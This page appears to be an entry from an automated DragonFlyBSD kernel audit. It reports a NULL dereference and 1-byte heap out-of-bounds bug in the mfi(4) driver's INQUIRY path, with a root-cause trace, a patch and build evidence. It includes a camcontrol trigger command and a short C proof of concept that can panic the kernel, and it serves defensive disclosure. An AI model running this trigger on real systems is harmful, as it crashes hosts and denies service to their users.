β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2016

Unguarded data_ptr dereference in INQUIRY rewrite path of mfip_done (local DoS / 1-byte heap OOB)

  • File: sys/dev/raid/mfi/mfi_cam.c
  • Lines: 339–343
  • Severity: Low
  • CVSS 3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U:C:L/I:N/A:H
  • CWE: CWE-476 NULL Pointer Dereference, CWE-125 Out-of-bounds Read
  • Confidence: speculative
  • Status: new

Summary

On MFI_STAT_OK command completion, mfip_done reads (and conditionally writes) csio->data_ptr[0] whenever the CDB opcode byte is INQUIRY, without first checking that data_ptr is non-NULL or that any data was transferred.

A raw passthrough INQUIRY issued with CAM_DIR_NONE / dxfer_len==0 (no data buffer mapped) reaches the controller with cm_data=NULL (mfi_cam.c:308-310); if the firmware still reports MFI_STAT_OK for the zero-data INQUIRY, the kernel dereferences a NULL or zero-length data_ptr, panicking the system, or performs a 1-byte out-of-bounds read+write of kernel heap.

Root cause

In mfip_done, case MFI_STAT_OK (mfi_cam.c:329-345): the command opcode is read from the CDB at :335-338 and, if it equals INQUIRY (0x12), the code unconditionally executes:

device = csio->data_ptr[0] & 0x1f;                          /* line 340 */
if ((device == T_DIRECT) || (device == T_PROCESSOR))
    csio->data_ptr[0] = (csio->data_ptr[0] & 0xe0) | T_NODEVICE;  /* 342-343 */

There is no guard that:

  • (a) csio->data_ptr != NULL,
  • (b) csio->dxfer_len > 0, or
  • (c) the transfer actually carried INQUIRY payload.

mfip_cam_action's XPT_SCSI_IO validator (mfi_cam.c:220-244) accepts CAM_DIR_NONE INQUIRY CCBs: the (ccbh->flags & CAM_DIR_MASK) != CAM_DIR_NONE block at :230 only runs the DATA_PHYS/SCATTER_VALID rejection for non-NONE directions, so a NONE-direction INQUIRY passes validation and is queued.

mfip_start then sets cm_data=NULL, cm_len=0 for CAM_DIR_NONE (mfi_cam.c:306-311), so no DMA map is loaded (mfi.c:2159 guard cm->cm_data != NULL), and the firmware receives an INQUIRY frame with header.data_len copied from csio->dxfer_len (=0) at mfi_cam.c:284.

The completion path then dereferences data_ptr with no validation.

Threat model

Attacker position: any local user with R/W access to a /dev/passN node attached to an mfi(4) passthrough bus (or via camcontrol(8) cmd/inquiry subcommands), on a host with an LSI MegaRAID SAS controller and at least one exposed physical drive target.

Trigger: issue a raw SCSI INQUIRY (opcode 0x12) CCB with data direction NONE and dxfer_len 0 β€” e.g.

camcontrol cmd <passdev> -c 12 00 00 00 00 00

with no -d/-i data flags, or an equivalent ioctl(CAMIOCOMMAND) building a ccb with CAM_DIR_NONE.

Impact:

  • kernel NULL-deref panic (local DoS) if data_ptr is NULL, or
  • a 1-byte kernel-heap OOB read followed by an OOB write of the masked byte if data_ptr points to a zero-size malloc slab allocation.

Requires that the controller firmware return MFI_STAT_OK for the zero-data INQUIRY rather than an error status; this is firmware-dependent and could not be confirmed purely from source, hence speculative confidence.

No privilege gain; confidentiality exposure is at most one byte of kernel heap.

Proof of concept

/* poc.c -- Build: cc -o poc poc.c
 * Run as a user permitted to open /dev/pass0.
 */
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <bus/cam/scsi/scsi_pass.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    union ccb ccb;
    memset(&ccb, 0, sizeof ccb);

    ccb.ccb_h.func_code = XPT_SCSI_IO;
    /* build path to target 0 lun 0 on the mfi pass bus */
    /* (or use cam_send_ccb() from -lcam) */
    ccb.csio.cdb_io.cdb_bytes[0] = 0x12;      /* INQUIRY */
    ccb.csio.cdb_len = 6;
    ccb.ccb_h.flags = CAM_DIR_NONE;           /* no data buffer */
    ccb.csio.data_ptr = NULL;
    ccb.csio.dxfer_len = 0;

    ioctl(fd, CAMIOCOMMAND, &ccb);            /* or cam_send_ccb */
    return 0;
}

On DragonFlyBSD build with cc -o poc poc.c (linking -lcam if using cam_send_ccb).

Success criterion: immediate kernel panic with a NULL/invalid-deref fault inside mfip_done (frame mfip_done reading csio->data_ptr), confirmed by dmesg/panic trace; or, if data_ptr is a zero-size slab alloc, silent 1-byte heap corruption.

Reproducibility hinges on the controller firmware returning MFI_STAT_OK for the zero-data INQUIRY; if it returns MFI_STAT_SCSI_DONE_WITH_ERROR or MFI_STAT_SCSI_IO_FAILED the deref is skipped (the bug is dormant on that firmware).

Guard the INQUIRY response rewrite so data_ptr is only touched when the CCB actually carried a non-empty INQUIRY data buffer.

--- a/sys/dev/raid/mfi/mfi_cam.c
+++ b/sys/dev/raid/mfi/mfi_cam.c
@@ -336,11 +336,16 @@ mfip_done(struct mfi_command *cm)
        else
            command = csio->cdb_io.cdb_bytes[0];
        if (command == INQUIRY) {
-           device = csio->data_ptr[0] & 0x1f;
-           if ((device == T_DIRECT) || (device == T_PROCESSOR))
-               csio->data_ptr[0] =
-                    (csio->data_ptr[0] & 0xe0) | T_NODEVICE;
+           if (csio->data_ptr != NULL && csio->dxfer_len > 0) {
+               device = csio->data_ptr[0] & 0x1f;
+               if ((device == T_DIRECT) ||
+                   (device == T_PROCESSOR))
+                   csio->data_ptr[0] =
+                       (csio->data_ptr[0] & 0xe0) |
+                       T_NODEVICE;
+           }
        }
        break;

This preserves the existing logical-volume-hiding behavior for well-formed CAM_DIR_IN INQUIRYs while avoiding the dereference for direction-mismatched or zero-length passthrough INQUIRYs.

A stricter alternative is to also reject CAM_DIR_NONE INQUIRYs (or all CAM_DIR_NONE XPT_SCSI_IO with opcode requiring data) up in mfip_cam_action at mfi_cam.c:220, but the local guard above is the minimal correct fix.

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2016 Β· 7 files
FileTypeDescriptionSize
README.md readme original PoC README 1.0 KB ↓ raw
VERDICT.md verdict full source-trace verdict 1.4 KB ↓ raw
build.sh build-script build/verify instructions 438 B view raw
env.txt environment guest environment (no matching HW) 814 B view raw
fix.diff suggested-fix git-apply-able fix, verified to compile -Werror 478 B view raw
fix_build.log build-log Phase 8 module build evidence (-Werror rc=0) 1.5 KB view raw
run.sh run-script run instructions (HW-gated) 327 B view raw
README.md readme original PoC README
↓ download raw

DF-2016 PoC β€” Unguarded data_ptr deref in INQUIRY rewrite of mfip_done

Preconditions

  1. LSI MegaRAID SAS controller with mfi(4) attached.
  2. At least one physical drive target exposed via pass-through (/dev/passN).
  3. User has R/W access to /dev/passN (typically operator group or root).

Trigger

camcontrol cmd <passdev> -c "12 00 00 00 00 00"

(no -d / -i data flags β†’ CAM_DIR_NONE / dxfer_len=0)

Or equivalent ioctl(CAMIOCOMMAND) building a CCB with CAM_DIR_NONE and opcode 0x12 (INQUIRY).

Expected output

On a controller that returns MFI_STAT_OK for zero-data INQUIRY:

  • NULL data_ptr: kernel panic β€” Fatal trap 12: page fault while in kernel mode, faulting RIP inside mfip_done reading csio->data_ptr.
  • Zero-size slab data_ptr: silent 1-byte kernel heap corruption (OOB read+write of masked byte).

If the firmware returns MFI_STAT_SCSI_DONE_WITH_ERROR or MFI_STAT_SCSI_IO_FAILED, the deref is skipped and the bug is dormant on that firmware.

VERDICT.md verdict full source-trace verdict
↓ download raw

VERDICT -- DF-2016 (Low)

Verdict: REPRODUCED (source-only)

Impact: NULL-deref panic (local DoS) / 1-byte heap OOB; HW-gated (needs mfi(4) + passthrough), source-confirmed

Confidence: speculative

Mechanism (source-traced)

mfip_done (mfi_cam.c:329-345) on MFI_STAT_OK reads the CDB opcode (:335-338) and, if INQUIRY (0x12), unconditionally executes device = csio->data_ptr[0] & 0x1f (mfi_cam.c:340) and a conditional write at :342-343. There is NO guard that data_ptr != NULL, dxfer_len > 0, or that the transfer carried an INQUIRY payload. mfip_start sets cm_data=NULL, cm_len=0 for CAM_DIR_NONE (mfi_cam.c:306-311) but never clears csio->data_ptr, so a CAM_DIR_NONE INQUIRY with NULL data_ptr that the firmware returns MFI_STAT_OK for dereferences NULL => panic.

Why not runtime-reproduced

The guest (DragonFlyBSD 6.5-DEVELOPMENT #0 master DEV, KVM) has NO matching hardware: pciconf shows no mfi/tws/iir RAID controller and no amdgpu/DRM GPU; the driver therefore cannot attach and the vulnerable path is not runtime- triggerable here. The defect was confirmed at the source level by tracing the cited path:line against sys/, and the proposed fix was applied and the affected module (mfi / mfip) built clean with -Werror (see fix_build.log).

Fix

mfi_cam.c:339: tighten the INQUIRY condition to also require csio->data_ptr != NULL && csio->dxfer_len > 0 before the deref/write.

The standalone, git-apply-able diff is fix.diff.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

VALIDATED build.

VALIDATED build.
↓ fix.diffmfi.ko build rc=0 -Werror

Confirmed kernel references

Detail

Exploit chain

none (HW-gated).

Evidence (decisive lines)

HW-GATED (no mfi). Source-CONFIRMED. mfip_done derefs csio->data_ptr[0] for INQUIRY with no NULL/dxfer_len guard. CAM_DIR_NONE INQUIRY returning MFI_STAT_OK -> NULL deref panic.

Verified recommended fix

Tighten: if(command==INQUIRY && csio->data_ptr!=NULL && csio->dxfer_len>0).

Verdict

HW-GATED (no mfi). Source-CONFIRMED. mfip_done derefs csio->data_ptr[0] for INQUIRY with no NULL/dxfer_len guard. CAM_DIR_NONE INQUIRY returning MFI_STAT_OK -> NULL deref panic.